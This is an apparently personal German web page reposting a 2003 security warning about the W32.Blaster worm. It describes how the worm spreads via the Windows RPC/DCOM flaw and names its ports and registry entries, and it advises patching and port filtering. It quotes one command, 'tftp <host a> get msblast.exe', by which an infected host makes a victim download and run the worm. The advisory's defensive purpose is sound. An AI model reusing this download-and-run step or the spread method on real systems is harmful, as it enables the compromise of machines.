Ich schreibe hier grundsätzlich nur solche Warnungen vor Schädlingen (Viren, Würmern, ...), die vom Bundesamt für Sicherheit in der Informationstechnik (BSI)
bestätigt sind und deren Gefährlichkeit als hoch eingestuft ist.
Unter Windows NT4 führt der Wurmbefall dazu, dass der PC sich allein herunterfährt mit einer Meldung sinngemäß
"erzwunger Neustart. Quelle NT-Autorität".
Für Hunde und Menschen ist der Wurm nicht schädlch, aber ein namhafter Fußballverein war davon betroffen (zum Glück haben sie gleich bei mir angerufen).
Danke an Microsoft, deren Betriebsssteme immer wieder offene Tore zum Einfall von Schädlingen haben.
Meldung vom 12.08.2003 09:30
Alle Schotten dicht -- W32.Blaster greift an
Der seit Tagen erwartete Wurm, der einen Fehler im RPC/DCOM-Dienst unter Windows 2000 und XP ausnutzt, ist im Internet unterwegs. Symantec taufte ihn W32.Blaster, McAfee nennt ihn W32.Lovsan. Das Bundesamt für Sicherheit in der Informationstechnik (BSI) hat ebenfalls bereits eine Warnung herausgegben, siehe dazu das BSI-Advisory
auf heise Security.
Auf befallenenen Systemen (A) startet der Wurm einen TFTP-Server und greift weitere Windows-Systeme (B) auf Port 135 an. War ein Angriff erfolgreich, wird der eingeschleuste Code ausgeführt, der auf System B eine Shell auf Port 4444 öffnet. System A veranlasst System B mittels TFTP (tftp <host a> get msblast.exe) die Datei msblast.exe in das Verzeichnis %WinDir%\System32 nachzuladen und zu starten. Anschließend installiert sich der Wurm auf System B, schließt Port 4444, startet einen TFTP-Server und greift weitere Systeme an.
Der Wurm versucht nach Angaben von Symantec eine Denial-of-Service-Attacke gegen windowsupdate.com durchzuführen. Als Zeitraum dafür ist der 16. August bis 31. Dezember definiert. Auf befallenen Systemen werden folgende Registry Einträge erzeugt:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
Run "windows auto update" = msblast.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
Run "windows auto update" = msblast.exe I just want to say LOVE YOU SAN!! bill
Erkennbar ist ein Befall auch am offenen UDP-Port 69, auf dem der TFTP-Server auf ankommende Verbindungen wartet. Darüberhinaus öffnet ein infiziertes System 20 TCP-Ports im Bereich 2500 bis 2522 und versucht Verbindungen mit weiteren Systemen aufzunehmen. Der genaue Zweck dieser Verbindungen ist noch unklar, Symantec gibt an, dass sie zu Angriffszwecken geöffnet werden. NAI weist hingegen darauf hin, dass die Ports im LISTEN-Mode geöffnet werden, also auf eingehende Verbindungen warten.
Symantec hat bereits ein Removal-Tool
bereitgestellt, um den Wurm von befallenen System zu entfernen.
Es wird dringend empfohlen, die Patches
zum Beseitigen der Sicherheitslücke einzuspielen. Da der Patch einen weiteren Fehler im RPC-Dienst, der DoS-Attacken ermöglicht, nicht beseitigt, sollten zusätzlich die UDP- und TCP-Ports 135 bis 139, 445 und 593 gefiltert werden.
Zur Vorbeugung gegen den Wurm siehe auch:
* Schutz vor RPC/DCOM-Wurm W32.Blaster
Unter Windows NT4 führt der Wurmbefall dazu, dass der PC sich allein herunterfährt mit einer Meldung sinngemäß
"erzwunger Neustart. Quelle NT-Autorität".
Für Hunde und Menschen ist der Wurm nicht schädlch, aber ein namhafter Fußballverein war davon betroffen (zum Glück haben sie gleich bei mir angerufen).
Danke an Microsoft, deren Betriebsssteme immer wieder offene Tore zum Einfall von Schädlingen haben.